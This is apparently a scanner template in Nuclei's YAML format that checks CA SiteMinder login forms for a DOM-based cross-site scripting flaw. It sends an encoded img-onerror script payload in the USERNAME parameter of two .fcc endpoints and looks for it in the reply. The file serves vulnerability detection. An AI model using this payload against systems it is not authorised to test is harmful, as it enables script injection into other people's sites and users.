DOM-XSS-SiteMinder.yaml

id: siteminder-dom-based-xss

info:
  name: SiteMinder DOM BASED XSS
  author: Clark
  severity: medium
  description: SiteMinder DOM Based XSS.
  tags: dom,xss
  reference: https://blog.reigningshells.com/2019/12/reviving-old-cves-reflected-xss-in-ca.html

requests:
  - method: GET
    path:
      - '{{BaseURL}}/siteminderagent/forms/smpwservices.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7'
      - '{{BaseURL}}/siteminderagent/forms/smaceauth.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'confirm(document.domain)'

      - type: word
        words:
          - 'text/html'
        part: header